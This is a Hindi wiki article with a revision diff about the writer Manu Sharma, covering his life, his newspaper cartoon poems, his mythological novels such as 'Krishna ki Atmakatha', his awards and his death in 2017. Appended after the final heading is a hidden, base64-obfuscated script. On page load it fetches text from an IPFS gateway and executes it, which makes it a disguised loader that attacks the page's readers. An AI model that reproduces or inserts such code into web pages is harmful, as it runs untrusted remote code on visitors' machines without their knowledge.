मनु शर्मा: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
Line 43: Line 43:
==लेखन की विशेषता==
==लेखन की विशेषता==
मनु शर्मा के लेखन की सबसे बड़ी विशेषता जीवन और समाज पर उनकी पैनी दृष्टि है। यह दृष्टि जहाँ पड़ती है, चरित्र, परिस्थितियों और माहौल का एक हूबहू एक्स-रे सा खिंच जाता है। उनकी कहानियाँ जीवन के कटु यथार्थ की जमीन पर रोपी हुई हैं। इनमें न दुःखांत का आग्रह है, न सुखांत का दुराग्रह। कहानी खुद तय करती है कि उसकी शक्ल क्या होगी। इन कहानियों को पढ़ते हुए लगता है कि मानो पाठक एक यात्रा पर निकला हो और उसके अनुभव जीवन के तमाम द्वीपों से गुजरते हुए समाज और काल में फैल गए हों। पाठक इसका गवाह बनता है। इस वृत्तांत का सम्मोहन इतना कि पाठक को पहले शब्द से लेकर अंतिम विराम तक एक अजीब किस्म के चुंबकत्व का बोध होता है। यही मनु शर्मा की कहानियों का यथार्थ है। उन्हें आलोचक भले न मिले हों, पर पाठक भरपूर मिले। आलोचना के क्षेत्र में पराजित एक लेखक की ये अपराजित कहानियाँ हैं।
मनु शर्मा के लेखन की सबसे बड़ी विशेषता जीवन और समाज पर उनकी पैनी दृष्टि है। यह दृष्टि जहाँ पड़ती है, चरित्र, परिस्थितियों और माहौल का एक हूबहू एक्स-रे सा खिंच जाता है। उनकी कहानियाँ जीवन के कटु यथार्थ की जमीन पर रोपी हुई हैं। इनमें न दुःखांत का आग्रह है, न सुखांत का दुराग्रह। कहानी खुद तय करती है कि उसकी शक्ल क्या होगी। इन कहानियों को पढ़ते हुए लगता है कि मानो पाठक एक यात्रा पर निकला हो और उसके अनुभव जीवन के तमाम द्वीपों से गुजरते हुए समाज और काल में फैल गए हों। पाठक इसका गवाह बनता है। इस वृत्तांत का सम्मोहन इतना कि पाठक को पहले शब्द से लेकर अंतिम विराम तक एक अजीब किस्म के चुंबकत्व का बोध होता है। यही मनु शर्मा की कहानियों का यथार्थ है। उन्हें आलोचक भले न मिले हों, पर पाठक भरपूर मिले। आलोचना के क्षेत्र में पराजित एक लेखक की ये अपराजित कहानियाँ हैं।
==प्रेरणास्रोत==
[[प्रधानमंत्री]] [[नरेंद्र मोदी]] ने स्वच्छता अभियान की शुरुआत के साथ ही सफाई नवरत्नों की घोषणा की थी जिनमें से एक मनु शर्मा भी थे। तब मनु शर्मा ने उनसे आग्रह किया था कि उनकी उम्र की सांझ हो रही है। स्वास्थ्य भी ठीक नहीं रहता। ऐसे में वे स्वयं साफ-सफाई में सहयोग नहीं कर पाएंगे। तब उनसे कहा गया कि आप प्रेरणास्रोत बने रहें। बाकी काम युवा पीढ़ी कर लेगी। इसके बाद उन्होंने प्रधानमंत्री के स्वच्छता अभियान का ‘नवरत्न’ बनने के लिए हामी भरी थी।
==कृतियाँ==
==कृतियाँ==
#'''उपन्यास :''' छत्रपति, तीन प्रश्न, राणा साँगा, शिवानी का आशीर्वाद, एकलिंग का दीवान, मरीचिका, गांधी लौटे, विवशता, लक्ष्मणरेखा, द्रौपदी की आत्मकथा, द्रोण की आत्मकथा, कर्ण का आत्मकथा, कृष्ण की आत्मकथा-1 (नारद की भविष्यवाणी), कृष्ण की आत्मकथा-2 (दुरभिसंधि), गांधारी का आत्मकथा, अभिशप्त कथा।
#'''उपन्यास :''' छत्रपति, तीन प्रश्न, राणा साँगा, शिवानी का आशीर्वाद, एकलिंग का दीवान, मरीचिका, गांधी लौटे, विवशता, लक्ष्मणरेखा, द्रौपदी की आत्मकथा, द्रोण की आत्मकथा, कर्ण का आत्मकथा, कृष्ण की आत्मकथा-1 (नारद की भविष्यवाणी), कृष्ण की आत्मकथा-2 (दुरभिसंधि), गांधारी का आत्मकथा, अभिशप्त कथा।

Revision as of 11:51, 10 June 2023

मनु शर्मा
पूरा नाम मनु शर्मा
अन्य नाम हनुमान प्रसाद शर्मा
जन्म 1928
जन्म भूमि अकबरपुर, फैजाबाद
मृत्यु 8 नवंबर, 2017
मृत्यु स्थान वाराणसी, उत्तर प्रदेश
कर्म भूमि बनारस, उत्तर प्रदेश
कर्म-क्षेत्र लेखक, कवि, नाटककार
मुख्य रचनाएँ 'उपन्यास : छत्रपति, तीन प्रश्न, राणा साँगा, शिवानी का आशीर्वाद, एकलिंग का दीवान, मरीचिका, गांधी लौटे, द्रौपदी की आत्मकथा, द्रोण की आत्मकथा, कर्ण का आत्मकथा, कृष्ण की आत्मकथा-1 (नारद की भविष्यवाणी), कृष्ण की आत्मकथा-2 (दुरभिसंधि), गांधारी का आत्मकथा, अभिशप्त कथा। आदि
विषय गद्य, पद्य, नाटक तथा उपन्यास
भाषा हिन्दी
पुरस्कार-उपाधि 2015 में पद्मश्री से राष्ट्रपति ने सम्मानित किया, गोरखपुर वि.वि. से डी.लीट. की मानद उपाधि, उ.प्र. हिंदी संस्थान के ‘लोहिया साहित्य सम्मान’, केंद्रीय हिंदी संस्थान के ‘सुब्रह्मण्यम भारती पुरस्कार’, उ.प्र. सरकार के प्रतिष्ठित ‘यश भारती सम्मान’ से सम्मानित।
विशेष योगदान 70 के दशक में मनु शर्मा बनारस से निकलने वाले 'जनवार्ता' में प्रतिदिन एक 'कार्टून कविता' लिखते थे।
नागरिकता भारतीय
अन्य जानकारी भारतीय भाषाओं में सबसे बड़ी कृति 'कृष्‍ण की आत्‍मकथा' लिखने की उपलब्धि मनु शर्मा के नाम ही है। यह उपन्यास 8 खंडों और 3000 पृष्‍ठ वाला है।
अद्यतन‎
इन्हें भी देखें कवि सूची, साहित्यकार सूची

मनु शर्मा (अंग्रेजी: Manu Sharma, जन्म: 1928, अकबरपुर, फैजाबाद - मृत्यु: 8 नवंबर, 2017 वाराणसी, उत्तर प्रदेश) आधुनिक हिन्दी साहित्य के प्रमुख लेखक हैं। ‘आज नहीं तो कल, कल नहीं तो परसों, परसों नहीं तो बरसों बाद मैं डायनासोर के जीवाश्म की तरह पढ़ा जाऊँगा।’ इसी विश्वास के साथ मनु शर्मा की रचना-यात्रा खुद की बनाई पगडंडी पर जारी है। हिंदी की खेमेबंदी से दूर मनु शर्मा ने साहित्य की हर विधा में लिखा है। उनके समृद्ध रचना-संसार में आठ खंडों में प्रकाशित ‘कृष्ण की आत्मकथा’ भारतीय भाषाओं का विशालतम उपन्यास है। ललित निबंधों में वे अपनी सीमाओं का अतिक्रमण करते हैं तो उनकी कविताएँ अपने समय का दस्तावेज हैं।[1]

परिचय

मनु शर्मा का जन्म 1928 में अकबरपुर, फैजाबाद में हुआ था। वे बेहद अभावों में पले-बढ़े हैं। घर चलाने के लिए फेरी लगाकर कपड़ा और मूंगफली तक बेचा। बनारस के डीएवी कॉलेज में उन्‍हें चपरासी की नौकरी मिली, लेकिन उनके गुरु कृष्‍णदेव प्रसाद गौड़ उर्फ 'बेढ़ब बनारसी' ने उनसे पुस्‍तकालय में काम लिया। पुस्‍तकालय में पुस्‍तक उठाते-उठाते उनमें पढ़ने की ऐसी रुचि जगी कि पूरा पुस्‍तकालय ही चाट गए। उन्‍होंने अपनी कलम से पौराणिक उपन्‍यासों को आधुनिक संदर्भ दिया है।

कार्टून कविता

70 के दशक में मनु शर्मा बनारस से निकलने वाले 'जनवार्ता' में प्रतिदिन एक 'कार्टून कविता' लिखते थे। यह इतनी मारक होती थी कि आपात काल के दौरान इस पर प्रतिबंध लगा दिया गया था। जयप्रकाश नारायण कहा करते थे- "यदि संपूर्ण क्रांति को ठीक ढंग से समझना हो तो 'जनवार्ता' अखबार पढ़ा करो।" मनु शर्मा ने अपनी 'कार्टून कविता' के जरिए हर घर-हर दिल पर उस दौरान दस्‍तक दी थी।

राजकुमार हिरानी ने मनु शर्मा की पुस्‍तक 'गांधी लौटे' के विचार की चोरी कर इस पर फिल्‍म का निर्माण किया था। राजकुमार हिरानी ने मनु शर्मा का आभार तक व्‍यक्‍त करना उचित नहीं समझा। 'लगे रहो मुन्‍ना भाई' 2006 में आई थी और 'गांधी लौटे' एक श्रृंखला के रूप में। 'गांधी लौटे' के बहुत सारे डायलॉग भी मनु शर्मा जी की पुस्‍तक से चुराए गए थे। मनु शर्मा जी को जब यह बताया गया तो उन्‍होंने कहा- "किसी के भी जरिए हो, समाज में विचार पहुंच तो रहे हैं न।" क्‍या आज का एक भी साहित्‍यकार या पत्रकार इस सोच के स्‍तर को कभी छू सकता है।[2]

वाजपेयी द्वारा प्रशंसा

भारतीय भाषाओं में सबसे बड़ी कृति 'कृष्‍ण की आत्‍मकथा' लिखने की उपलब्धि मनु शर्मा के नाम ही है। 8 खंडों और 3000 पृष्‍ठ वाले 'कृष्‍ण की आत्‍मकथा' को पढ़कर पूर्व प्रधानमंत्री अटल बिहारी वाजपेयी ने कहा था- "इस रचना को पढ़ने में मैं इतना खो गया कि कई ज़रूरी काम तक भूल गया था। पहली बार कृष्‍ण कथा को इतना व्‍यापक आयाम दिया गया है।" वाजपेयी जी ने सही कहा है। कृष्ण पर संपूर्णता से आज तक किसी ने कलम नहीं चलाई है, स्‍वयं वेद व्‍यास ने भी नहीं। व्‍यास जी ने 'महाभारत' में द्वारकाधीश और युद्ध के नायक के रूप में कृष्‍ण का चित्रण किया, लेकिन जब युद्ध समाप्‍त हो गया तो उन्‍हें लगा कि कृष्‍ण के इस चरित्र में शुष्‍कता है तो फिर उन्‍होंने श्रीमदभागवत पुराण की रचना की। उसमें कृष्‍ण के अन्‍य स्‍वरूपों को समेटा, लेकिन उसमें युद्ध के पक्ष को छोड़ दिया, जो पहले ही महाभारत में लिखा जा चुका था।

इसी तरह सूरदास जी ने कृष्ण के बाल स्‍वरूप को अपनी काव्‍य का विषय बनाया तो जयदेव जी ने अपने 'गीत गोविंद' में रसिक और प्रेमी कृष्‍ण का चित्र उकेरा है। कृष्‍ण को एक जगह पूरी समग्रता से केवल और केवल मनु शर्मा ने समेटा है, जिसके कारण 'कृष्‍ण की आत्‍मकथा' उनकी एक कालजयी कृति बन गई है। महाभारत के एक-एक पात्र- द्रौपदी, कर्ण, द्रोण, गांधारी को उन्‍होंने विस्‍तृत फलक दिया और आत्‍मकथात्‍मक शैली में इनके व्‍यक्तित्‍व की सम्रगता को पाठकों के समक्ष रखा है। राणा सांगा, बप्‍पा रावल, शिवाजी जैसे महानायकों को औपन्‍यासिक शैली के जरिए घर-घर पहुंचाया है। अपने जीवन में उन्‍होंने करीब 18 उपन्यास, 7 हज़ार से अधिक कविताएं और 200 से अधिक कहानियां लिखी हैं।[2]

लेखन की विशेषता

मनु शर्मा के लेखन की सबसे बड़ी विशेषता जीवन और समाज पर उनकी पैनी दृष्टि है। यह दृष्टि जहाँ पड़ती है, चरित्र, परिस्थितियों और माहौल का एक हूबहू एक्स-रे सा खिंच जाता है। उनकी कहानियाँ जीवन के कटु यथार्थ की जमीन पर रोपी हुई हैं। इनमें न दुःखांत का आग्रह है, न सुखांत का दुराग्रह। कहानी खुद तय करती है कि उसकी शक्ल क्या होगी। इन कहानियों को पढ़ते हुए लगता है कि मानो पाठक एक यात्रा पर निकला हो और उसके अनुभव जीवन के तमाम द्वीपों से गुजरते हुए समाज और काल में फैल गए हों। पाठक इसका गवाह बनता है। इस वृत्तांत का सम्मोहन इतना कि पाठक को पहले शब्द से लेकर अंतिम विराम तक एक अजीब किस्म के चुंबकत्व का बोध होता है। यही मनु शर्मा की कहानियों का यथार्थ है। उन्हें आलोचक भले न मिले हों, पर पाठक भरपूर मिले। आलोचना के क्षेत्र में पराजित एक लेखक की ये अपराजित कहानियाँ हैं।

प्रेरणास्रोत

प्रधानमंत्री नरेंद्र मोदी ने स्वच्छता अभियान की शुरुआत के साथ ही सफाई नवरत्नों की घोषणा की थी जिनमें से एक मनु शर्मा भी थे। तब मनु शर्मा ने उनसे आग्रह किया था कि उनकी उम्र की सांझ हो रही है। स्वास्थ्य भी ठीक नहीं रहता। ऐसे में वे स्वयं साफ-सफाई में सहयोग नहीं कर पाएंगे। तब उनसे कहा गया कि आप प्रेरणास्रोत बने रहें। बाकी काम युवा पीढ़ी कर लेगी। इसके बाद उन्होंने प्रधानमंत्री के स्वच्छता अभियान का ‘नवरत्न’ बनने के लिए हामी भरी थी।

कृतियाँ

  1. उपन्यास : छत्रपति, तीन प्रश्न, राणा साँगा, शिवानी का आशीर्वाद, एकलिंग का दीवान, मरीचिका, गांधी लौटे, विवशता, लक्ष्मणरेखा, द्रौपदी की आत्मकथा, द्रोण की आत्मकथा, कर्ण का आत्मकथा, कृष्ण की आत्मकथा-1 (नारद की भविष्यवाणी), कृष्ण की आत्मकथा-2 (दुरभिसंधि), गांधारी का आत्मकथा, अभिशप्त कथा।
  2. कहानी-संग्रह : पोस्टर उखड़ गया, मुंशी नवनीत लाल, महात्मा : (लँगड़ा हाजी, पत्ता टूटा डाल से, अंततः सलीब, महात्मा, ‘पक्का’ नं. 13, गुमशुदा, बंधन-मुक्ति, स्पर्श रोमांस, रोशनी कहाँ गई?, बर्फ नाम सत्य है।), दीक्षा : (दीक्षा, एक माँ मरी है, लक्ष्मण रेखा, अश्रव्य चीखें।)।
  3. कविता-संग्रह : खूँटी पर टँगा वसंत।
  4. निबंध-संग्रह : उस पार का सूरज।[1]

सम्मान-अलंकरण

  1. 2015 में पद्मश्री से राष्ट्रपति ने सम्मानित किया।
  2. गोरखपुर वि.वि. से डी.लीट. की मानद उपाधि।
  3. उ.प्र. हिंदी संस्थान के ‘लोहिया साहित्य सम्मान’।
  4. केंद्रीय हिंदी संस्थान के ‘सुब्रह्मण्यम भारती पुरस्कार’।
  5. उ.प्र. सरकार के प्रतिष्ठित ‘यश भारती सम्मान’ से सम्मानित।[1]

निधन

पौराणिक कथाओं और पात्रों को आधुनिक संदर्भ में उपन्यासों-कहानियों के जरिए जीवंत करने वाले हिंदी साहित्य के पुरोधा पद्मश्री मनु शर्मा का 8 नवंबर, 2017 को बुधवार सुबह 5:30 बजे निधन हो गया। 89 वर्षीय शर्मा ने वाराणसी के बड़ी पियरी स्थित आवास पर अंतिम सांस ली। उन्होंने डेढ़ दर्जन उपन्यासों के अलावा सौ से अधिक कहानियां और सात हजार से अधिक कविताओं का साहित्य संसार रचा था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 मनु शर्मा (हिन्दी) pustak.org। अभिगमन तिथि: 22 जुलाई, 2017।
  2. 2.0 2.1 मनु शर्मा व रामबहादुर राय, जिनके गले से लगकर सम्‍मानित हुआ 'पद्मश्री' (हिन्दी) aadhiabadi.in। अभिगमन तिथि: 22 जुलाई, 2017।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>